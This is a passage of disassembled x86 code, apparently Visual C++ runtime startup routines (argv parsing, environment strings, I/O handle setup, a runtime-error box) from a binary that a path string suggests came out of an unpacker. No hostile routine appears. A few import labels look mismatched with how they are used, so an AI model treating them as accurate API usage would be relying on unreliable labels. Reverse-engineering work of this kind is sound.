ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0042249F SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_429FE8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, ds:dword_43844C
		jnb	short loc_42249F
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:438460h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_42249F
		push	ebx
		call	sub_4257A5
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_42246F
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_422242
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_422486
; ---------------------------------------------------------------------------

loc_42246F:				; CODE XREF: sub_422410+49j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh

loc_422486:				; CODE XREF: sub_422410+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_422497
		mov	eax, [ebp+var_1C]
		jmp	short loc_4224B5
sub_422410	endp


; =============== S U B	R O U T	I N E =======================================



sub_422494	proc near		; DATA XREF: .text:stru_429FE8o
		mov	ebx, [ebp+8]
sub_422494	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422497	proc near		; CODE XREF: sub_422410+7Ap
		push	ebx
		call	sub_425845
		pop	ecx
		retn
sub_422497	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422410

loc_42249F:				; CODE XREF: sub_422410+15j
					; sub_422410+35j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_4224B5:				; CODE XREF: sub_422410+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_422410

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=8Ch


sub_4224BB	proc near		; CODE XREF: sub_41DC6D+12p
					; sub_41DC92+12p ...

var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-8Ch]
		sub	esp, 10Ch
		mov	eax, ds:dword_433148
		mov	ecx, [ebp+8Ch+arg_0]
		push	ebx
		push	esi
		mov	[ebp+8Ch+var_4], eax
		xor	edx, edx
		push	edi
		xor	eax, eax

loc_4224E1:				; CODE XREF: sub_4224BB+33j
		cmp	ecx, ds:dword_4338A0[eax*8]
		jz	short loc_4224F0
		inc	eax
		cmp	eax, 13h
		jb	short loc_4224E1

loc_4224F0:				; CODE XREF: sub_4224BB+2Dj
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, ds:dword_4338A0[esi]
		jnz	loc_422616
		mov	eax, ds:dword_4354F8
		cmp	eax, 1
		jz	loc_4225EE
		cmp	eax, edx
		jnz	short loc_422520
		cmp	ds:dword_433114, 1
		jz	loc_4225EE

loc_422520:				; CODE XREF: sub_4224BB+56j
		cmp	ecx, 0FCh
		jz	loc_422616
		push	104h
		lea	eax, [ebp+8Ch+var_10C]
		push	eax
		push	edx
		mov	[ebp+8Ch+var_8], dl
		call	ds:dword_4290B8	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_422556
		lea	eax, [ebp+8Ch+var_10C]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C930
		pop	ecx
		pop	ecx

loc_422556:				; CODE XREF: sub_4224BB+89j
		lea	edi, [ebp+8Ch+var_10C]
		mov	eax, edi
		push	eax
		call	sub_41C350
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_42258A
		mov	eax, edi
		push	eax
		call	sub_41C350
		mov	edi, eax
		lea	eax, [ebp+8Ch+var_10C]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41C5A0
		add	esp, 10h

loc_42258A:				; CODE XREF: sub_4224BB+ABj
		push	edi
		call	sub_41C350
		push	ds:off_4338A4[esi]
		mov	ebx, eax
		call	sub_41C350
		lea	eax, [ebx+eax+1Ch]
		pop	ecx
		add	eax, 3
		pop	ecx
		and	eax, 0FFFFFFFCh
		call	sub_41E090
		mov	ebx, esp
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	ebx
		call	sub_41C930
		push	edi
		push	ebx
		call	sub_41C940
		push	offset asc_42A3C0 ; "\n\n"
		push	ebx
		call	sub_41C940
		push	ds:off_4338A4[esi]
		push	ebx
		call	sub_41C940
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebx
		call	sub_426724
		add	esp, 2Ch
		jmp	short loc_422616
; ---------------------------------------------------------------------------

loc_4225EE:				; CODE XREF: sub_4224BB+4Ej
					; sub_4224BB+5Fj
		push	edx
		lea	eax, [ebp+8Ch+arg_0]
		push	eax
		lea	esi, off_4338A4[esi]
		push	dword ptr [esi]
		call	sub_41C350
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_429058	; GetStdHandle
		push	eax
		call	ds:dword_429104	; WriteFile

loc_422616:				; CODE XREF: sub_4224BB+40j
					; sub_4224BB+6Bj ...
		lea	esp, [ebp-8Ch]
		mov	ecx, [ebp+8Ch+var_4]
		call	sub_41E5BB
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 8Ch
		leave
		retn
sub_4224BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_422632	proc near		; CODE XREF: sub_41DC6D+9p
					; sub_41DC92+9p
		mov	eax, ds:dword_4354F8
		cmp	eax, 1
		jz	short loc_422649
		test	eax, eax
		jnz	short locret_42266A
		cmp	ds:dword_433114, 1
		jnz	short locret_42266A

loc_422649:				; CODE XREF: sub_422632+8j
		push	0FCh
		call	sub_4224BB
		mov	eax, ds:dword_4356D8
		test	eax, eax
		pop	ecx
		jz	short loc_42265F
		call	eax

loc_42265F:				; CODE XREF: sub_422632+29j
		push	0FFh
		call	sub_4224BB
		pop	ecx

locret_42266A:				; CODE XREF: sub_422632+Cj
					; sub_422632+15j
		retn
sub_422632	endp


; =============== S U B	R O U T	I N E =======================================



sub_42266B	proc near		; CODE XREF: start-1C1EBp
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_439598, edi
		jnz	short loc_42267C
		call	sub_424D03

loc_42267C:				; CODE XREF: sub_42266B+Aj
		mov	esi, ds:dword_4395C0
		test	esi, esi
		jnz	short loc_42268B
		mov	esi, offset word_42FE36

loc_42268B:				; CODE XREF: sub_42266B+19j
					; sub_42266B+4Bj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_422699
		test	al, al
		jz	short loc_4226C3
		test	edi, edi
		jz	short loc_4226BD

loc_422699:				; CODE XREF: sub_42266B+24j
		cmp	al, 22h
		jnz	short loc_4226A6
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx

loc_4226A6:				; CODE XREF: sub_42266B+30j
		movzx	eax, al
		push	eax
		call	sub_426850
		test	eax, eax
		pop	ecx
		jz	short loc_4226B5
		inc	esi

loc_4226B5:				; CODE XREF: sub_42266B+47j
		inc	esi
		jmp	short loc_42268B
; ---------------------------------------------------------------------------

loc_4226B8:				; CODE XREF: sub_42266B+56j
		cmp	al, 20h
		ja	short loc_4226C3
		inc	esi

loc_4226BD:				; CODE XREF: sub_42266B+2Cj
		mov	al, [esi]
		test	al, al
		jnz	short loc_4226B8

loc_4226C3:				; CODE XREF: sub_42266B+28j
					; sub_42266B+4Fj
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_42266B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4226C8	proc near		; CODE XREF: start:loc_41DDE1p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_439598, ebx
		push	esi
		push	edi
		jnz	short loc_4226DA
		call	sub_424D03

loc_4226DA:				; CODE XREF: sub_4226C8+Bj
		mov	esi, ds:dword_4354F0
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_4226F8
		jmp	short loc_422718
; ---------------------------------------------------------------------------

loc_4226E8:				; CODE XREF: sub_4226C8+34j
		cmp	al, 3Dh
		jz	short loc_4226ED
		inc	edi

loc_4226ED:				; CODE XREF: sub_4226C8+22j
		push	esi
		call	sub_41C350
		pop	ecx
		lea	esi, [esi+eax+1]

loc_4226F8:				; CODE XREF: sub_4226C8+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4226E8
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41D0C4
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	ds:dword_43567C, edi
		jnz	short loc_42271D

loc_422718:				; CODE XREF: sub_4226C8+1Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_422775
; ---------------------------------------------------------------------------

loc_42271D:				; CODE XREF: sub_4226C8+4Ej
		mov	esi, ds:dword_4354F0
		push	ebp
		jmp	short loc_422750
; ---------------------------------------------------------------------------

loc_422726:				; CODE XREF: sub_4226C8+8Aj
		push	esi
		call	sub_41C350
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_42274E
		push	ebp
		call	sub_41D0C4
		cmp	eax, ebx
		pop	ecx
		mov	[edi], eax
		jz	short loc_422779
		push	esi
		push	eax
		call	sub_41C930
		pop	ecx
		pop	ecx
		add	edi, 4

loc_42274E:				; CODE XREF: sub_4226C8+6Bj
		add	esi, ebp

loc_422750:				; CODE XREF: sub_4226C8+5Cj
		cmp	[esi], bl
		jnz	short loc_422726
		push	ds:dword_4354F0
		call	sub_41C2DD
		mov	ds:dword_4354F0, ebx
		mov	[edi], ebx
		mov	ds:dword_43958C, 1
		xor	eax, eax

loc_422773:				; CODE XREF: sub_4226C8+C5j
		pop	ecx
		pop	ebp

loc_422775:				; CODE XREF: sub_4226C8+53j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_422779:				; CODE XREF: sub_4226C8+78j
		push	ds:dword_43567C
		call	sub_41C2DD
		mov	ds:dword_43567C, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_422773
sub_4226C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42278F	proc near		; CODE XREF: sub_4228FB+54p
					; sub_4228FB+85p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_4227B2
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi

loc_4227B2:				; CODE XREF: sub_42278F+18j
					; sub_42278F+65j ...
		cmp	byte ptr [eax],	22h
		jnz	short loc_4227C5
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_4227F2
; ---------------------------------------------------------------------------

loc_4227C5:				; CODE XREF: sub_42278F+26j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_4227D0
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi

loc_4227D0:				; CODE XREF: sub_42278F+3Aj
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	ds:byte_438221[ebx], 4
		jz	short loc_4227EB
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_4227EA
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi

loc_4227EA:				; CODE XREF: sub_42278F+54j
		inc	eax

loc_4227EB:				; CODE XREF: sub_42278F+4Ej
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	short loc_422824

loc_4227F2:				; CODE XREF: sub_42278F+34j
		test	edx, edx
		jnz	short loc_4227B2
		cmp	cl, 20h
		jz	short loc_422800
		cmp	cl, 9
		jnz	short loc_4227B2

loc_422800:				; CODE XREF: sub_42278F+6Aj
		test	edi, edi
		jz	short loc_422808
		mov	byte ptr [edi-1], 0

loc_422808:				; CODE XREF: sub_42278F+73j
					; sub_42278F+96j
		and	[ebp+var_4], 0

loc_42280C:				; CODE XREF: sub_42278F+157j
		cmp	byte ptr [eax],	0
		jz	loc_4228EB

loc_422815:				; CODE XREF: sub_42278F+93j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_422821
		cmp	cl, 9
		jnz	short loc_422827

loc_422821:				; CODE XREF: sub_42278F+8Bj
		inc	eax
		jmp	short loc_422815
; ---------------------------------------------------------------------------

loc_422824:				; CODE XREF: sub_42278F+61j
		dec	eax
		jmp	short loc_422808
; ---------------------------------------------------------------------------

loc_422827:				; CODE XREF: sub_42278F+90j
		cmp	byte ptr [eax],	0
		jz	loc_4228EB
		cmp	[ebp+arg_0], 0
		jz	short loc_42283F
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi

loc_42283F:				; CODE XREF: sub_42278F+A5j
		inc	dword ptr [ebx]

loc_422841:				; CODE XREF: sub_42278F+145j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_42284A
; ---------------------------------------------------------------------------

loc_422848:				; CODE XREF: sub_42278F+BEj
		inc	eax
		inc	edx

loc_42284A:				; CODE XREF: sub_42278F+B7j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_422848
		cmp	byte ptr [eax],	22h
		jnz	short loc_42287A
		test	dl, 1
		jnz	short loc_422878
		cmp	[ebp+var_4], 0
		jz	short loc_42286B
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_42286B
		mov	eax, ecx
		jmp	short loc_42286D
; ---------------------------------------------------------------------------

loc_42286B:				; CODE XREF: sub_42278F+CEj
					; sub_42278F+D6j
		xor	ebx, ebx

loc_42286D:				; CODE XREF: sub_42278F+DAj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx

loc_422878:				; CODE XREF: sub_42278F+C8j
		shr	edx, 1

loc_42287A:				; CODE XREF: sub_42278F+C3j
		test	edx, edx
		jz	short loc_42288B

loc_42287E:				; CODE XREF: sub_42278F+FAj
		test	edi, edi
		jz	short loc_422886
		mov	byte ptr [edi],	5Ch
		inc	edi

loc_422886:				; CODE XREF: sub_42278F+F1j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_42287E

loc_42288B:				; CODE XREF: sub_42278F+EDj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4228D9
		cmp	[ebp+var_4], 0
		jnz	short loc_4228A1
		cmp	cl, 20h
		jz	short loc_4228D9
		cmp	cl, 9
		jz	short loc_4228D9

loc_4228A1:				; CODE XREF: sub_42278F+106j
		test	ebx, ebx
		jz	short loc_4228D3
		test	edi, edi
		jz	short loc_4228C2
		movzx	edx, cl
		test	ds:byte_438221[edx], 4
		jz	short loc_4228BB
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]

loc_4228BB:				; CODE XREF: sub_42278F+124j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_4228D1
; ---------------------------------------------------------------------------

loc_4228C2:				; CODE XREF: sub_42278F+118j
		movzx	ecx, cl
		test	ds:byte_438221[ecx], 4
		jz	short loc_4228D1
		inc	eax
		inc	dword ptr [esi]

loc_4228D1:				; CODE XREF: sub_42278F+131j
					; sub_42278F+13Dj
		inc	dword ptr [esi]

loc_4228D3:				; CODE XREF: sub_42278F+114j
		inc	eax
		jmp	loc_422841
; ---------------------------------------------------------------------------

loc_4228D9:				; CODE XREF: sub_42278F+100j
					; sub_42278F+10Bj ...
		test	edi, edi
		jz	short loc_4228E1
		mov	byte ptr [edi],	0
		inc	edi

loc_4228E1:				; CODE XREF: sub_42278F+14Cj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_42280C
; ---------------------------------------------------------------------------

loc_4228EB:				; CODE XREF: sub_42278F+80j
					; sub_42278F+9Bj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4228F5
		and	dword ptr [eax], 0

loc_4228F5:				; CODE XREF: sub_42278F+161j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
sub_42278F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FB	proc near		; CODE XREF: start-1C230p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_439598, edi
		jnz	short loc_422912
		call	sub_424D03

loc_422912:				; CODE XREF: sub_4228FB+10j
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	edi
		mov	ds:byte_4357E4,	0
		call	ds:dword_4290B8	; GetModuleFileNameA
		mov	eax, ds:dword_4395C0
		cmp	eax, edi
		mov	ds:off_43568C, esi
		jz	short loc_422941
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jnz	short loc_422943

loc_422941:				; CODE XREF: sub_4228FB+3Dj
		mov	ebx, esi

loc_422943:				; CODE XREF: sub_4228FB+44j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_42278F
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		shl	esi, 2
		add	eax, esi
		push	eax
		call	sub_41D0C4
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_422973
		or	eax, 0FFFFFFFFh
		jmp	short loc_422998
; ---------------------------------------------------------------------------

loc_422973:				; CODE XREF: sub_4228FB+71j
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_42278F
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	ds:dword_435670, eax
		pop	ecx
		mov	ds:dword_435674, edi
		xor	eax, eax

loc_422998:				; CODE XREF: sub_4228FB+76j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299D	proc near		; CODE XREF: start-1C23Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_4357E8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_429048
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_4229E6
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4229CD
		mov	ds:dword_4357E8, 1
		jmp	short loc_4229EB
; ---------------------------------------------------------------------------

loc_4229CD:				; CODE XREF: sub_42299D+22j
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4229E1
		mov	eax, ebp
		mov	ds:dword_4357E8, eax
		jmp	short loc_4229E6
; ---------------------------------------------------------------------------

loc_4229E1:				; CODE XREF: sub_42299D+39j
		mov	eax, ds:dword_4357E8

loc_4229E6:				; CODE XREF: sub_42299D+1Aj
					; sub_42299D+42j
		cmp	eax, 1
		jnz	short loc_422A68

loc_4229EB:				; CODE XREF: sub_42299D+2Ej
		cmp	esi, ebx
		jnz	short loc_4229F7
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_422A70

loc_4229F7:				; CODE XREF: sub_42299D+50j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_422A0C

loc_4229FE:				; CODE XREF: sub_42299D+66j
					; sub_42299D+6Dj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_4229FE
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_4229FE

loc_422A0C:				; CODE XREF: sub_42299D+5Fj
		mov	edi, ds:dword_429174
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_422A5D
		push	ebp
		call	sub_41D0C4
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_422A5D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_422A59
		push	[esp+18h+var_8]
		call	sub_41C2DD
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_422A59:				; CODE XREF: sub_42299D+ACj
		mov	ebx, [esp+18h+var_8]

loc_422A5D:				; CODE XREF: sub_42299D+8Cj
					; sub_42299D+9Bj
		push	esi
		call	ds:dword_42904C	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_422AB8
; ---------------------------------------------------------------------------

loc_422A68:				; CODE XREF: sub_42299D+4Cj
		cmp	eax, ebp
		jz	short loc_422A74
		cmp	eax, ebx
		jz	short loc_422A74

loc_422A70:				; CODE XREF: sub_42299D+58j
					; sub_42299D+E1j
		xor	eax, eax
		jmp	short loc_422AB8
; ---------------------------------------------------------------------------

loc_422A74:				; CODE XREF: sub_42299D+CDj
					; sub_42299D+D1j
		call	ds:dword_429050	; GetEnvironmentStrings
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_422A70
		cmp	[esi], bl
		jz	short loc_422A8E

loc_422A84:				; CODE XREF: sub_42299D+EAj
					; sub_42299D+EFj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422A84
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422A84

loc_422A8E:				; CODE XREF: sub_42299D+E5j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41D0C4
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_422AA4
		xor	edi, edi
		jmp	short loc_422AAF
; ---------------------------------------------------------------------------

loc_422AA4:				; CODE XREF: sub_42299D+101j
		push	ebp
		push	esi
		push	edi
		call	sub_41BC60
		add	esp, 0Ch

loc_422AAF:				; CODE XREF: sub_42299D+105j
		push	esi
		call	ds:dword_429054	; FreeEnvironmentStringsA
		mov	eax, edi

loc_422AB8:				; CODE XREF: sub_42299D+C9j
					; sub_42299D+D5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_42299D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422ABF	proc near		; CODE XREF: start-1C256p

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 48h
		push	ebx
		mov	ebx, 480h
		push	ebx
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		jnz	short loc_422ADB
		or	eax, 0FFFFFFFFh
		jmp	loc_422CB8
; ---------------------------------------------------------------------------

loc_422ADB:				; CODE XREF: sub_422ABF+12j
		mov	ds:dword_438460, eax
		mov	ds:dword_43844C, 20h
		lea	ecx, [eax+480h]
		jmp	short loc_422B10
; ---------------------------------------------------------------------------

loc_422AF2:				; CODE XREF: sub_422ABF+53j
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+4], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, ds:dword_438460
		add	eax, 24h
		add	ecx, 480h

loc_422B10:				; CODE XREF: sub_422ABF+31j
		cmp	eax, ecx
		jb	short loc_422AF2
		push	ebp
		push	esi
		push	edi
		lea	eax, [esp+58h+var_44]
		push	eax
		call	ds:dword_42919C	; GetStartupInfoA
		cmp	word ptr [esp+58h+var_14+2], 0
		jz	loc_422C17
		mov	eax, [esp+58h+var_10]
		test	eax, eax
		jz	loc_422C17
		mov	edi, [eax]
		lea	ebp, [eax+4]
		lea	eax, [edi+ebp]
		mov	[esp+58h+var_48], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_422B51
		mov	edi, eax

loc_422B51:				; CODE XREF: sub_422ABF+8Ej
		cmp	ds:dword_43844C, edi
		jge	short loc_422BA7
		mov	esi, offset dword_438464

loc_422B5E:				; CODE XREF: sub_422ABF+DEj
		push	ebx
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		jz	short loc_422BA1
		add	ds:dword_43844C, 20h
		mov	[esi], eax
		lea	ecx, [eax+480h]
		jmp	short loc_422B90
; ---------------------------------------------------------------------------

loc_422B7A:				; CODE XREF: sub_422ABF+D3j
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+4], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [esi]
		add	eax, 24h
		add	ecx, ebx

loc_422B90:				; CODE XREF: sub_422ABF+B9j
		cmp	eax, ecx
		jb	short loc_422B7A
		add	esi, 4
		cmp	ds:dword_43844C, edi
		jl	short loc_422B5E
		jmp	short loc_422BA7
; ---------------------------------------------------------------------------

loc_422BA1:				; CODE XREF: sub_422ABF+A8j
		mov	edi, ds:dword_43844C

loc_422BA7:				; CODE XREF: sub_422ABF+98j
					; sub_422ABF+E0j
		xor	ebx, ebx
		test	edi, edi
		jle	short loc_422C17

loc_422BAD:				; CODE XREF: sub_422ABF+156j
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_422C0C
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_422C0C
		test	cl, 8
		jnz	short loc_422BD0
		push	eax
		call	ds:dword_42905C	; GetFileType
		test	eax, eax
		jz	short loc_422C0C

loc_422BD0:				; CODE XREF: sub_422ABF+104j
		mov	ecx, ebx
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		sar	ecx, 5
		mov	ecx, ds:dword_438460[ecx*4]
		lea	esi, [ecx+eax*4]
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebp+0]
		mov	[esi+4], al
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_423F72
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_422C37
		inc	dword ptr [esi+8]

loc_422C0C:				; CODE XREF: sub_422ABF+F7j
					; sub_422ABF+FFj ...
		add	[esp+58h+var_48], 4
		inc	ebx
		inc	ebp
		cmp	ebx, edi
		jl	short loc_422BAD

loc_422C17:				; CODE XREF: sub_422ABF+69j
					; sub_422ABF+75j ...
		xor	ebx, ebx

loc_422C19:				; CODE XREF: sub_422ABF+1E2j
		mov	ecx, ds:dword_438460
		lea	eax, [ebx+ebx*8]
		lea	esi, [ecx+eax*4]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_422C99
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_422C3C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_422C46
; ---------------------------------------------------------------------------

loc_422C37:				; CODE XREF: sub_422ABF+148j
					; sub_422ABF+1CDj
		or	eax, 0FFFFFFFFh
		jmp	short loc_422CB5
; ---------------------------------------------------------------------------

loc_422C3C:				; CODE XREF: sub_422ABF+171j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_422C46:				; CODE XREF: sub_422ABF+176j
		push	eax
		call	ds:dword_429058	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_422C93
		push	edi
		call	ds:dword_42905C	; GetFileType
		test	eax, eax
		jz	short loc_422C93
		and	eax, 0FFh
		cmp	eax, 2
		mov	[esi], edi
		jnz	short loc_422C71
		or	byte ptr [esi+4], 40h
		jmp	short loc_422C7A
; ---------------------------------------------------------------------------

loc_422C71:				; CODE XREF: sub_422ABF+1AAj
		cmp	eax, 3
		jnz	short loc_422C7A
		or	byte ptr [esi+4], 8

loc_422C7A:				; CODE XREF: sub_422ABF+1B0j
					; sub_422ABF+1B5j
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_423F72
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_422C37
		inc	dword ptr [esi+8]
		jmp	short loc_422C9D
; ---------------------------------------------------------------------------

loc_422C93:				; CODE XREF: sub_422ABF+193j
					; sub_422ABF+19Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_422C9D
; ---------------------------------------------------------------------------

loc_422C99:				; CODE XREF: sub_422ABF+169j
		or	byte ptr [esi+4], 80h

loc_422C9D:				; CODE XREF: sub_422ABF+1D2j
					; sub_422ABF+1D8j
		inc	ebx
		cmp	ebx, 3
		jl	loc_422C19
		push	ds:dword_43844C
		call	ds:dword_429044	; LockResource
		xor	eax, eax

loc_422CB5:				; CODE XREF: sub_422ABF+17Bj
		pop	edi
		pop	esi
		pop	ebp

loc_422CB8:				; CODE XREF: sub_422ABF+17j
		pop	ebx
		add	esp, 48h
		retn
sub_422ABF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422CBD	proc near		; CODE XREF: start:loc_41DDA2p

